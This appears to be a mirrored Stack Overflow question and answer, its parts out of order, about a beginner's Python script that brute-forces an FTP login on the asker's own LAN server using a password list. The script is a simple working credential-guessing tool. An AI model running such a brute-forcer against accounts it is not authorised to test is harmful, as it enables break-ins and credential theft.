I am only learning python myself but aren't you trying to reference the ftplib library incorrectly in your try block? You are using ftp.ftplib.FTP(ip)
...shouldn't it just be ftplib.FTP(ip)
? Same for ftp.login("NINJA", password)
.
Python ftp bruteforcer not working
-
29-09-2022 - |
Question
as i try to teach myself python i opened an FTP server on my laptop (ubuntu 12.04) using vsftpd. after the config i can login on the laptop itself using
ftp localhost
and the username and password i chose were NINJA
123
(for the sake of trying).
on my PC (in the lan) i open a browser, enter ftp://192.168.1.108/
. and when i get a popup for username and password i enter above details - so - Everything works FTP wise.
i wrote this to try and break in:
import socket
import ftplib
port=21
ip="192.168.1.108"
file1="passwords"
try:
s=socket.socket()
s.connect((ip,port))
print "port",port,"is open"
moshe=open(file1,'r')
for line in moshe.readlines():
password=line.strip("\n")
print password
try:
ftp = ftplib.FTP(ip)
ftp.login("NINJA",password)
print ("THE PASSWORD IS:",password)
break
except ftplib.error_perm:
print "Incorrect"
moshe.close()
except:
print "port",port,"is closed"
seems to work thanks to rob
Solution
Licensed under: CC-BY-SA with attribution
Not affiliated with StackOverflow